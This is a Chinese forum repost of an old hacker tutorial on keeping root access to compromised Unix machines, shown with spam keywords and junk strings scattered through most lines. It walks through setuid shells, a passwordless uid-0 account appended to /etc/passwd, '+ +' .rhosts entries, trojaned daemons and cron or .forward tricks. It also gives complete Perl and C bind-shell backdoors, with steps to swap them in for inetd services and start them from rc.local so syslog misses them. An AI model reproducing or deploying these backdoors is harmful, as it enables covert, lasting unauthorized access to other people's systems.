天天爱天天做天天做天天吃中文|久久综合给久合久久综合|亚洲视频一区二区三区|亚洲国产综合精品2022

  • 
    
    <delect id="ixd07"></delect>

      汶上信息港

      標題: 如何創(chuàng)建后門 [打印本頁]

      作者: 雜七雜八    時間: 2011-1-13 17:04
      標題: 如何創(chuàng)建后門
      參考文獻:
        t9 j$ X1 f( T4 tArticle: backdoor from The Infinity Concept Issue II ; e* _: f( S2 q, B
      Src: b4b0.c by b4b0
      . s3 {5 W- M. D  {- e( I$ d0 j1 P- {Src: daemonsh.pl by van Hauser / [THC] in 1997' 1 I+ d$ Q5 G: s7 O: K. R8 Q

      - F$ |% T+ |: I' n( I" a' x* Y4 ^-- 7 n) \& C3 l( E% S. t# w
      / h4 ~+ `1 n: j5 i
      千辛萬苦(or 輕而易舉)的取得root后,當然希望長久的保持. 以被以后用來。。。d0ing what u want t0 d0 :) 傳統(tǒng)的方法就是建立一個后門(backd00r).即使入侵被發(fā)現(xiàn),好 的(先進)后門仍然能夠使你再次輕松的破門而入 -- 請記?。?" we come back and we are the h.a.c.k.e.r " . J8 |7 d+ I9 l
      -- * F2 T) f) ?6 x7 Z. t
      創(chuàng)建后門的方法如下:
      & O! K  g- o: E$ n$ M  }. |-
      . f8 J3 _" Z. @' [1. setuid
      2 p  P( ]3 h) n#cp /bin/sh /tmp/.backdoor + E9 M- @' [; f0 w! F9 b
      #chmod u+s /tmp/.backdoor
      2 r$ p, R+ i; W/ @加上 suid 位到shell 上,最為簡單方便,但也最為容易被ADM 發(fā)現(xiàn) find / -perm 4000 -print;同時在大多數(shù)的SUNOS 上 你會發(fā)現(xiàn)不能setuid。-- 適用于新手;
      2 k4 o- r, ~0 K9 b-
      0 g( }( S& h) R) \* c2 o9 x  e( R0 n  ~2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即給系統(tǒng)增加一個 id 為 0(root)的帳號,無口令; 也很容易被發(fā)現(xiàn)。 -- 適用于新手; ( Y6 H6 f/ _* {; B: A  a  q
      -
      . }/ V; {; C# [2 p- f5 T3.echo "+ zer9">>/.rhosts 5 S# H  Y8 r2 p/ l% K) q
      即本地的名為 zer9 的用戶可以直接 rlogin target 無須口令此時的 zer9 就相當于口令,不知道的人是不能進去的.
      6 N, y# J3 t. o前提是目標的port 512or513or514 opening. # n# k% b1 s# ?, v! x/ s
      注: 如 echo "+ +">>/.rhosts 則任何用戶都可rlogin至目標 導致目標門戶打開,最好不要;
      ( b$ p* K6 v( X" v' T還可 echo "+ +">>/etc/hosts.equiv 但這樣不能取得root權(quán)限;-- 適用于比新手高一點點,比中級水平低一點點的guys;
        X/ r! p/ a3 h8 V; s( p-
      / _4 N) t) Y, A+ t; q4.modify sendmail.cf 增加一個"wiz" 命令;
      , k9 I0 B, u* X8 E: J$ Zusage: " _3 m% w6 F; f5 u
      telnet target 25 [enter]
      ( R$ v/ U, |" b! c+ Z( rwiz[enter]
      3 A0 W5 z/ \2 R" Z0 x& [0 p這是我從SAFEsuite中學到的(但沒試過);比較危險。因為幾乎所有的掃描器都會刺探本漏洞。不過你可把命令本身該成其他不易猜到的名字。比較復雜,危險,但ADM不易發(fā)現(xiàn),隱蔽性較強;你只在你的機器上試一試就okay了;-- 顧名思意,大師級漏洞;   Q' i0 L, i2 u5 N& L  s% w
      - / x* m, K0 c' V1 ~# ]
      5. crack suck as inetd,login,...
      ! A  e0 z( Z1 d/ a. j, K即安裝它們的特絡(luò)繹版本。你需要找到各版本unix的rootkit;然后分別編譯即可;-- 如果目標機上沒有安裝 tripwire之類的東東,那幾乎不可能被發(fā)現(xiàn)。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有對應平臺上的編譯器嗎?我有一臺運行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... + S0 x  Q6 L' O9 H
      hahhahha,我又做夢了:) % m! P% j  Y  u; y& l' o" l) G
      -- 我個人認為是最好的方法,但實現(xiàn)起來有一定風險,你必須考慮到如果你的木馬運行出錯怎么辦--因為我們所做的一切都必須以不破壞目標機上的任何數(shù)據(jù)為原則; # H0 c( P( ]) o& x$ C
      - , `. l; ?/ |1 G4 t0 E
      6.ping rem0te backd00r 1 k2 j$ x. E8 k, R2 u
      即使是防火墻也很少阻止 ICMP 的通過,因此本后門可繞過防火墻。具體的程序你可在 [THC] 的主頁發(fā)現(xiàn);我想到了另外一種直接用ping命令實現(xiàn)的可通過防火墻的方法 :一方在防火墻內(nèi),一方在防火墻外;除 ICMP 外;通向防火墻內(nèi)的信息均被過濾掉 :(用 60k data 代表長,10k data 代表短;使用摩爾思編碼;(或其他自定義編碼)雙方通過 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""長江長江,我是黃河--- 向我開炮!向我開炮”(^o^);以后有時間我會通過程序來實現(xiàn)驗證可行性的。(技術(shù)上應該沒有什么難度)
      / Q9 G2 n5 I2 E" C3 j- 9 G! y9 Y2 U( N! @( O5 i
      7.rem0te shell ; B) M8 _5 r3 p+ V8 [' M/ r9 P
      我最喜歡的方式。而且由于繞開了login,故用 who 無法看到--也就是說,避開了utmp&utmpx&wtmp&wtmpx;但沒有完全避開 syslogd.ADM仍可以在/var/log/messages中發(fā)現(xiàn)
      3 @* G5 O2 L! A4 f; @1 a& D& ~你。不過,有一種方法可以徹底完全的旁路 syslogd!且聽下面一一道來.
      2 \6 `7 a4 j5 y0 d2 f. ~5 Jbindshell的實現(xiàn)有兩種: 0 S* |# j+ q" X. ^! \
      a. ' P5 r: {3 N$ b
      替換掉 inetd.conf 中的不重要服務(wù),如 rlogind :)在inetd 接受 connect 請求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一個shell,
      & n1 Z( Q1 K( |3 w0 S% {0 }b. 接受 connect 后,在高端spam出一個shell; $ Z: X# r" }: f7 h' V2 C7 R4 L
      (更安全 :)
      # |( _: ?: m7 @3 j3 U- Z2 X6 B下面我給出一個perl 實現(xiàn)(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一個 gnuc 的實現(xiàn)(test on slackware 2.0.33&irix6.4)
      8 V  q# E- q0 ~# q$ D--- # b! _) A# P) B& k9 t, r5 c) i% K
      perl 版安裝方法:
      : n$ N* S" E- v###無須編譯!!只要目標機上有perl支持就okay! + X; L! p% M/ |
      如何判斷有無perl: $/>perl [enter] + u* [# E2 a, u: t( u2 M! H; @3 T
      9 g% Y/ c% b* z& \- Z, g. H5 E
      [ctrl-c]
      # t: C! |! U, j8 I$/> & I* s* U. a' f, K0 g
      -
      : j" A; g' k8 c0 ?. @如果你對 /etc/inetd.conf 中的內(nèi)容不是很熟的話,下面 4 G- Y4 i1 G% B3 }3 e
      的方法有很大的危險性, exit(-1) please; 8 ^- K6 g. P5 Z. e  e
      -
      8 |" J+ `, x1 Y' O" G首先將源程序cut,存為你想要替換的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已經(jīng)被ADM關(guān)掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后
      # \1 z/ r# u. S7 c+ Ymv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) . I% Q/ Y- z6 a7 r" m8 D
      cp in.rexecd /usr/sbin/in.rexecd
      - c) }/ r; d' t然后 ps -aux|grep inetd;kill -HUP id(by inetd);
        ^$ F, L, r; @/ Q3 o! K7 _okay! 連 /etc/inetd.conf 都不要改。重申一點:不論在任何情況下,我們都要盡最大的可能保護數(shù)據(jù)!
      9 \/ ]0 b& T! ], S# [5 q- 1 H4 J3 f1 d  F+ F: f4 \4 h  P
      Usage: nc target (such as 512) : M$ f6 P" I6 z3 B  i3 L
      [enter]
      & B# n7 l" A, v+ S3 s7 u9 G( r" pur passwd [enter]
      ! D# H. f  U- [9 }0 F(then u login in...:) : U* ]- S0 _6 J0 k
      & k, a2 v' B1 z" W( R
      ----Cut Here------------------------------------------
      5 E9 j  u$ J, ]4 {) l& A  J4 N( Y
      #!/usr/bin/perl
      5 O- B% n! c& X+ b, r3 q#
      4 e6 r/ _( h( w  p& B3 X# BEST
      3 r" y: @6 {! Y1 ?+ N( r# SIMPLE
      " U! z) J; l( S  d! S( s# rem0te bind shell
      8 V& d. j$ b3 f6 U#[perl version only tcp]
      8 J% {3 G- P' `  ?! w9 L0 d# by
      : u  s( y# X# E3 J6 R# zer9[FTT]
      " o/ s0 R9 X& n8 d# zer9@21cn.com ( ]' E, {$ y1 q6 R
      #passed on allmost unix
      ) Y' [7 v; p* o$ }#greet to:van Hauser/[THC] 1 E) m3 E+ \& n1 W) \
      # for his daemonshell.pl
      % E5 v$ ]( m! ~- W9 B* i5 ?#
        l  y* z! {" H) L! I2 \' n$SHELL="/bin/csh -i";
      - d) f, D. r: s$ T#d3f4ult p4sswd 1s "wh04r3u" (no quote);
      * n4 D2 j* \' v( ]. q! r) A  r$PASSWORD="BifqmATb6D5so";
      $ g) T- G, ~2 ?- N. B4 H
      9 _0 Z+ U5 A" R, k# s! @" U. C. xif ($PASSWORD) {
      , V7 N6 z7 f* L8 i7 B) I; Z5 G: gchop($pass=);
        d% ]8 V, H# b$ h6 W" vif (crypt($pass, $PASSWORD) ne $PASSWORD) {
      & b( v# a* T5 ?9 n* |0 \exit 0; 9 }/ z& J# @  ^; i: x
      } - z7 C% j* z/ L( ^0 ^
      exec $SHELL ; * D" r. T- w+ V, \6 d
      exit 0;
      9 R: x* e6 t/ v} , s' v; h2 [( c3 d
      / C# [& O, x& ?3 E! {
      ----Cut Here-------------------------------------------- 3 D; G  m( f1 D# ]1 s0 L

      , R1 e: w: ~7 V2 q: N
      0 J1 _) d- R! r' R! ~* X; X% I# E, a3 x' H7 s

      & m/ V; x* Y- ^* ?下面是一個for gnuc 的bindshell,first cut it,save as ( Z& ]+ z% ?6 V; x& _8 d
      backdoor.c ,then cc backdoor.c -o backdoor 4 o- t, _' N, Q, W" [, v$ ]0 l" e
      other action just l1ke before;
      # q* [6 [( s  g, P5 h; h* O6 u- vUsage: (exp:binding to in.rlogind (513))
      1 }" X0 L9 m% u5 {( k7 Gnc target 513 //spam a shell on the high port; " }0 a6 J3 T7 a; K
      nc target 54321
      6 y# Z& R/ d+ R+ eur passwd 6 ~- W5 C+ A' i* s2 C
      (then u coming in...) ; |' K% ~. W% C2 p, \- ?5 ?# N3 O) G
      2 U0 z! Y" ^2 h5 H$ @
      / {) o: A, z, B" ~
      ----Cut Here-------------------------------------
      ' D* \/ {; V: s" x
      & I) e9 A. v: k0 _! e, Y: I/* * H2 P4 m2 O9 n5 N, ~& Z6 y9 d" Z
      * [ b i n d - s h e l l ]
      % r( R9 f& g9 c2 q* by
      . t$ s3 d2 w% W" c* zer9[FTT]
      ; a3 z; Z/ t2 R! K: m, D* zer9@21cn.com 1 r3 P" b+ m- d) p" G7 ?
      *test on slackware 2.0.33&irix6.4(cc)
      0 _* a) Q& ]# J' _. t*cc backdoor.c -o backdoor / }! k* }. f! N, P$ v' }
      *u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
      : ~% r, g' ]$ S. C: J' h6 Y*c0mm4nd l1n3: backdoor [port] 2 J9 `/ y2 P; {3 C8 f! ]
      *d3fault p0rt 1s: 54321 ' Y& V: E% v. u4 N9 ?
      *greets to b4b0 for his b4b0.c
      ' w, z. h* U" b7 C*m4yb3 1 c0uld s4y: ! {+ b1 `& x' ^2 \6 f* P( E+ R& ^
      *"0k,b4b0.l1st3n c4r3fully;" 5 [# `6 X# C' Y9 [6 l3 }% S
      *s0rry,just a joke. ! \1 R* S8 C/ n. S# F
      * 2 a, O: Q- t* l
      */ 6 v! H  c2 w! S

      7 ~$ O4 h; d8 e- K! _$ `#include $ }4 F$ g3 v( I" v& s
      #include 9 D- C6 T# s; S* G
      #include
      0 W/ P2 @: f* N' E#include
      $ y4 l1 A5 y& p9 M& ]# ]#include 7 R; B' z4 [$ d$ a8 ^: e- V/ o2 _
      #include 7 F& ^/ F: A' g$ L# q8 b5 |" I+ S
      #include : e; U& X; T/ S
      0 b, M! a  [4 ~$ T
      8 h/ n) P0 e  B: D# U
      #define PassWord "k1n90fth3w0rld"
      $ Z$ r0 V5 ^8 n% I1 a0 j. J" @/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
      4 u$ q: ^5 u& p- G* M; T: H
      " i/ A# k- }; h  }/ h#define DefaultPort 54321 / M# s1 p+ \, T! K# w3 \
      /* d3f4ult b1nd1ng p0rt */ $ U: d7 M3 D# J
      5 Y6 Q0 z6 \7 G. F
      int main(int argc,char **argv)
      9 |9 f3 G$ l& ?{ 4 f6 @4 N/ @+ I
      int s,in_s;
      6 O% {3 a. |7 istruct sockaddr_in server,client; ) g5 f% X) g$ X* y
      int client_len,bindport; # W: I9 H' d, c% g
      char recvbuf[1000]; * c1 `) q  t; R2 _- T
      ( Y3 B5 T: X7 d
      if(argc!=2) bindport=DefaultPort; . H# R0 r7 E4 g8 D
      else
      8 I3 R* [% ^+ @/ H6 x" N; t% ibindport=atoi(argv[1]);
      8 ?7 r$ ]" U$ L* S$ a7 Fif((s=socket(AF_INET,SOCK_STREAM,0))<0) ' e7 N9 L) d- s% m
      {
      / o! f6 P' ]2 F6 A0 I, vperror("socket");
        x! F; ^* v3 Freturn -1;
      ( D* D/ P3 [1 D) a8 ^} 0 I' l$ p% T  S) X8 i
      bzero((char *)&server,sizeof(server));
      $ T& X, m3 r& i* ~4 ?: H9 A! Kbzero((char *)&client,sizeof(client)); . `; C" q6 e$ x
      bzero(recvbuf,sizeof(recvbuf)); * {! l8 V8 ^0 ~! T& ~) Y
      server.sin_family=AF_INET;
      6 L( R; `7 n8 D! _6 k2 A. E: a8 Eserver.sin_port=htons(bindport); 5 m) o0 V1 \0 H: _' J
      server.sin_addr.s_addr=INADDR_ANY;
      ' h6 P5 L6 p+ l' o+ s3 @if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) , ~# e+ u) K& s; J5 \) s
      { + Z4 l3 @4 C' J: q8 u* f4 r
      perror("bind"); / \3 a7 C6 v- {" l8 F; x
      return -1; 3 k4 A9 m! x9 ]9 t! I; b) d  ]( f
      } 4 ^- w7 A8 p  \" Z' ~( Y/ G
      if(listen(s,3)!=0)
      $ K# K, m+ h2 y  h2 k2 p* ?{
      3 H4 P3 `: S, ]0 \" k/ u& }perror("listen"); 0 k# S* ]5 z6 f9 R
      return -1;
      7 V& t( x+ G) o, Q4 Q+ k3 O. m' Q& J}
      ! X% R5 b8 D. c% n  hclient_len=sizeof(client);
      # s" Z% \1 [, J  P5 ^& [if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) # b3 {8 w' f- }* ?
      { : U* L7 M$ J+ n
      perror("accept");
      : N2 A% {5 w- I5 o& U7 Wreturn -1; * {* V" O1 {1 f' ], a
      } 9 c" h' u/ j  n% s) A( p
      recv(in_s,recvbuf,sizeof(recvbuf),0); * f5 g1 [" Y/ z7 Q( q1 A: ?
      sleep(1);
      $ w, e) P# @4 E. A# ]+ n/ ?8 _if((strlen(recvbuf)-1)==strlen(PassWord))
        Y6 F. G, l; }  z7 v! zif(!strncmp(recvbuf,PassWord,strlen(PassWord)))
      % c1 D, f( w( y" x) a{ 1 @7 r+ ~; V  N, M4 S- G, Q. z: U
      send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
      ) D3 Y( k' P6 h- ~4 u+ `* vclose(0);close(1);close(2); ) q, h9 h, Y( ]/ u; `- u* c
      dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
      8 j0 g! `3 G3 Yexecl("/bin/csh","/bin/csh",(char *)0); / O' ^/ }8 m- K) ?) m+ y
      }
      1 D  f8 O8 ~3 R) ~( g! g( l- \close(s); $ S1 o) I4 h3 q& v  D
      close(in_s); ; o( u" r' h3 J9 X2 I5 f$ e
      return 0; ) {5 o5 w" [. U, p8 T. D* x/ `
      }
      5 k2 h7 i; a' q7 B8 n9 ?! X8 \
      ----Cut Here-------------------------------------------------
      8 v* e. ]5 a# Q, j+ v  w* E2 U: N2 |( b# p* R# C4 I
      用上面的方法都不能完全的避開syslogd,因為他們都是由inetd 啟動的,inetd啟動它們的同時已經(jīng)進行l(wèi)og 了;旁路掉inetd就能完全避開syslog!方法很簡單,只要直接在命令行直接啟動例程2(c)就可以了,(1perl不行);不過這樣很麻煩;一旦ADM關(guān)掉計算機就玩完了;比較好的方法是在 /etc/rc.d/rc.local中加入: 4 U+ S  J' `, {4 Q
      backdoor &
      # Z% y+ e2 ~2 \1 k! c但即使這樣作了,每次用過后還要再起動一次;更好的方法是寫一個具有完全功能(后門功能^o^)的daemon,徹底的解決這個問題;但這樣做與hack inetd 那樣更有效率(安全)了?
      ; t$ f. f3 v+ E$ i& a9 z-- 8 T& I  u& B  J; Q0 G. v
      8.第八種武器就是 crontab ) b4 n+ M2 h. \# H3 e/ T' N
      我只知道原理,沒實踐過.每到一定時間就往 /etc/passwd 中加入一條uid為0(root)
      ( \: ~% a( E* X的用戶;時間一道就delete ,或創(chuàng)建suid's shell...在序言中提到的文章中有詳細介紹;
      ; }" ^$ M0 Y, L* _# d' K-- * @* _; z% p$ v8 @
      9.有沒有想過只要向系統(tǒng)的一個用戶發(fā)一個email,OS 就會spam出一個shell?利用用戶的home目錄下的 .forward 可作到這一點。 - |) q# g: ~* C1 _
      -- & [8 Y% R! `- Y& p7 m. L* W
      10。修改內(nèi)核--超級高手的做法;2.2.0的解壓文件達到了50幾MB,看到就頭痛。接著就 jmp ffff0 :) (不是看到內(nèi)容,而是看到大小);[THC]最近出了篇文章關(guān)于這個的。你對自己有信心的話可以看看;
      ) p7 \8 U9 r2 J--
      8 _$ F5 V" e  i$ o) h; f" p8 S/ a11.還有就是利用 overflow 程序,雖然我們一般是利用它取得root;但只要 ADM && u 沒有 patch ,始終我們可以利用它的,與suid不同的是它不怕被 find / -perm 4000 發(fā)現(xiàn);一般只有 tripwire可發(fā)現(xiàn)。
      ! P( D/ L( \  c3 l4 ^
      5 g) p$ f4 U* v$ d; B




      歡迎光臨 汶上信息港 (http://vancelump.com/) Powered by Discuz! X3.5